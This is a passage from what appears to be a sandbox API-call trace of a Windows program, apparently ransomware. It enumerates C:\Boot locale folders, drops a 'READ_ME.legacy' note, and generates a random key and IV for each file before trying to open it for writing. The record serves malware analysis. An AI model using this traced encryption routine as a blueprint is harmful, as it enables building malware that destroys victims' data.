hTemplateFile=0x0) returned 0xffffffff [0109.368] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.368] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0109.368] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0109.368] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d690 [0109.368] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d820 | out: hHeap=0x520000) returned 1 [0109.368] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563af0 | out: hHeap=0x520000) returned 1 [0109.368] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563bb8 | out: hHeap=0x520000) returned 1 [0109.368] FindFirstFileW (in: lpFileName="\\Boot\\tr-TR\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1c4818d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0228 [0109.368] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0109.368] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0109.368] GetLastError () returned 0x5 [0109.368] SetLastError (dwErrCode=0x5) [0109.368] GetLastError () returned 0x5 [0109.368] SetLastError (dwErrCode=0x5) [0109.368] GetLastError () returned 0x5 [0109.368] SetLastError (dwErrCode=0x5) [0109.368] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5672a0 [0109.369] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d5b0 [0109.369] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0109.369] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6e0 [0109.369] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a02a8 [0109.369] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a02a8 | out: hHeap=0x520000) returned 1 [0109.369] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20258 [0109.369] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20258 | out: hHeap=0x520000) returned 1 [0109.369] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6e0 | out: hHeap=0x520000) returned 1 [0109.369] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5672a0 | out: hHeap=0x520000) returned 1 [0109.369] FindNextFileW (in: hFindFile=0x5a0228, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1c4818d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0109.369] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0109.369] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578650 [0109.369] GetLastError () returned 0x5 [0109.369] SetLastError (dwErrCode=0x5) [0109.369] GetLastError () returned 0x5 [0109.369] SetLastError (dwErrCode=0x5) [0109.369] GetLastError () returned 0x5 [0109.369] SetLastError (dwErrCode=0x5) [0109.369] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5672a0 [0109.369] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d088 [0109.369] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d088 | out: hHeap=0x520000) returned 1 [0109.369] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7a8 [0109.369] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a02a8 [0109.370] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a02a8 | out: hHeap=0x520000) returned 1 [0109.370] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200d8 [0109.370] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200d8 | out: hHeap=0x520000) returned 1 [0109.370] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7a8 | out: hHeap=0x520000) returned 1 [0109.370] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5672a0 | out: hHeap=0x520000) returned 1 [0109.370] FindNextFileW (in: hFindFile=0x5a0228, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12558, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0109.370] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578650 | out: hHeap=0x520000) returned 1 [0109.370] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0109.370] GetLastError () returned 0x5 [0109.370] SetLastError (dwErrCode=0x5) [0109.370] GetLastError () returned 0x5 [0109.370] SetLastError (dwErrCode=0x5) [0109.370] GetLastError () returned 0x5 [0109.370] SetLastError (dwErrCode=0x5) [0109.370] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0109.370] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d758 | out: hHeap=0x520000) returned 1 [0109.370] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0109.370] FindNextFileW (in: hFindFile=0x5a0228, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0109.370] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0109.370] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0109.370] GetLastError () returned 0x5 [0109.370] SetLastError (dwErrCode=0x5) [0109.370] GetLastError () returned 0x5 [0109.370] SetLastError (dwErrCode=0x5) [0109.370] GetLastError () returned 0x5 [0109.371] SetLastError (dwErrCode=0x5) [0109.371] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d780 [0109.371] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d780 | out: hHeap=0x520000) returned 1 [0109.371] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0109.371] FindNextFileW (in: hFindFile=0x5a0228, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c4818d, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1c4818d, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1c4818d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0109.371] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0109.371] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0109.371] GetLastError () returned 0x5 [0109.371] SetLastError (dwErrCode=0x5) [0109.371] GetLastError () returned 0x5 [0109.371] SetLastError (dwErrCode=0x5) [0109.371] GetLastError () returned 0x5 [0109.371] SetLastError (dwErrCode=0x5) [0109.371] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6b8 [0109.371] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6b8 | out: hHeap=0x520000) returned 1 [0109.371] FindNextFileW (in: hFindFile=0x5a0228, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c4818d, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1c4818d, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1c4818d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0109.371] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578920 [0109.371] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c2a68 [0109.371] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c1108 [0109.371] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c2a68 | out: pbBuffer=0x5c2a68) returned 1 [0109.371] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1108 | out: pbBuffer=0x5c1108) returned 1 [0109.371] SetFileAttributesW (lpFileName="\\Boot\\tr-TR\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0109.372] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0109.372] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x520000) returned 1 [0109.372] CreateFileW (lpFileName="\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578920 | out: hHeap=0x520000) returned 1 [0109.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0109.372] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0109.372] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c19e8 [0109.372] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c1118 [0109.372] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c19e8 | out: pbBuffer=0x5c19e8) returned 1 [0109.372] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1118 | out: pbBuffer=0x5c1118) returned 1 [0109.372] SetFileAttributesW (lpFileName="\\Boot\\tr-TR\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0109.372] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0109.372] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.373] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0109.373] CreateFileW (lpFileName="\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.373] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.373] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0109.373] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0109.373] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6e0 [0109.373] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d690 | out: hHeap=0x520000) returned 1 [0109.373] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563be0 | out: hHeap=0x520000) returned 1 [0109.373] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563cf8 | out: hHeap=0x520000) returned 1 [0109.373] FindFirstFileW (in: lpFileName="\\Boot\\uk-UA\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1c4818d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a02a8 [0109.373] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0109.373] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0109.373] GetLastError () returned 0x5 [0109.373] SetLastError (dwErrCode=0x5) [0109.373] GetLastError () returned 0x5 [0109.373] SetLastError (dwErrCode=0x5) [0109.373] GetLastError () returned 0x5 [0109.373] SetLastError (dwErrCode=0x5) [0109.373] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567310 [0109.374] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d138 [0109.374] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d138 | out: hHeap=0x520000) returned 1 [0109.374] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d780 [0109.374] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a03e8 [0109.374] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a03e8 | out: hHeap=0x520000) returned 1 [0109.374] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20270 [0109.374] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20270 | out: hHeap=0x520000) returned 1 [0109.374] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d780 | out: hHeap=0x520000) returned 1 [0109.374] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567310 | out: hHeap=0x520000) returned 1 [0109.374] FindNextFileW (in: hFindFile=0x5a02a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1c4818d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0109.374] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0109.374] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578920 [0109.374] GetLastError () returned 0x5 [0109.374] SetLastError (dwErrCode=0x5) [0109.374] GetLastError () returned 0x5 [0109.374] SetLastError (dwErrCode=0x5) [0109.374] GetLastError () returned 0x5 [0109.374] SetLastError (dwErrCode=0x5) [0109.374] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5672a0 [0109.374] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d9d0 [0109.374] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0109.374] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0109.374] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a03e8 [0109.374] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a03e8 | out: hHeap=0x520000) returned 1 [0109.375] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200a8 [0109.375] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200a8 | out: hHeap=0x520000) returned 1 [0109.375] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d898 | out: hHeap=0x520000) returned 1 [0109.375] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5672a0 | out: hHeap=0x520000) returned 1 [0109.375] FindNextFileW (in: hFindFile=0x5a02a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0109.375] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578920 | out: hHeap=0x520000) returned 1 [0109.375] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578650 [0109.375] GetLastError () returned 0x5 [0109.375] SetLastError (dwErrCode=0x5) [0109.375] GetLastError () returned 0x5 [0109.375] SetLastError (dwErrCode=0x5) [0109.375] GetLastError () returned 0x5 [0109.375] SetLastError (dwErrCode=0x5) [0109.375] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7d0 [0109.375] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7d0 | out: hHeap=0x520000) returned 1 [0109.375] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0109.375] FindNextFileW (in: hFindFile=0x5a02a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c4818d, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1c4818d, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1c4818d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0109.375] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578650 | out: hHeap=0x520000) returned 1 [0109.375] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0109.375] GetLastError () returned 0x5 [0109.375] SetLastError (dwErrCode=0x5) [0109.375] GetLastError () returned 0x5 [0109.375] SetLastError (dwErrCode=0x5) [0109.375] GetLastError () returned 0x5 [0109.375] SetLastError (dwErrCode=0x5) [0109.376] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7a8 [0109.376] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7a8 | out: hHeap=0x520000) returned 1 [0109.376] FindNextFileW (in: hFindFile=0x5a02a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c4818d, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1c4818d, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1c4818d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0109.376] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578410 [0109.376] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c1af0 [0109.376] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c1178 [0109.376] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c1af0 | out: pbBuffer=0x5c1af0) returned 1 [0109.376] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1178 | out: pbBuffer=0x5c1178) returned 1 [0109.376] SetFileAttributesW (lpFileName="\\Boot\\uk-UA\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0109.376] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0109.376] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.376] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0109.376] CreateFileW (lpFileName="\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.376] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.376] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578410 | out: hHeap=0x520000) returned 1 [0109.376] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0109.376] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0109.377] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6e0 | out: hHeap=0x520000) returned 1 [0109.377] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5638e8 | out: hHeap=0x520000) returned 1 [0109.377] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563c30 | out: hHeap=0x520000) returned 1 [0109.377] FindFirstFileW (in: lpFileName="\\Boot\\zh-CN\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1c4818d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a03e8 [0109.377] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0109.377] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0109.377] GetLastError () returned 0x5 [0109.377] SetLastError (dwErrCode=0x5) [0109.377] GetLastError () returned 0x5 [0109.377] SetLastError (dwErrCode=0x5) [0109.377] GetLastError () returned 0x5 [0109.377] SetLastError (dwErrCode=0x5) [0109.377] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567310 [0109.377] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d030 [0109.377] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d030 | out: hHeap=0x520000) returned 1 [0109.377] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d848 [0109.377] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a04a8 [0109.377] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a04a8 | out: hHeap=0x520000) returned 1 [0109.377] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20180 [0109.377] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20180 | out: hHeap=0x520000) returned 1 [0109.378] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d848 | out: hHeap=0x520000) returned 1 [0109.378] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567310 | out: hHeap=0x520000) returned 1 [0109.378] FindNextFileW (in: hFindFile=0x5a03e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1c4818d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0109.378] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0109.378] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0109.378] GetLastError () returned 0x5 [0109.378] SetLastError (dwErrCode=0x5) [0109.378] GetLastError () returned 0x5 [0109.378] SetLastError (dwErrCode=0x5) [0109.378] GetLastError () returned 0x5 [0109.378] SetLastError (dwErrCode=0x5) [0109.378] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567310 [0109.378] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d450 [0109.378] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0109.378] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0109.378] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a04a8 [0109.378] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a04a8 | out: hHeap=0x520000) returned 1 [0109.378] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20360 [0109.378] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20360 | out: hHeap=0x520000) returned 1 [0109.378] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0109.378] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567310 | out: hHeap=0x520000) returned 1 [0109.378] FindNextFileW (in: hFindFile=0x5a03e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, 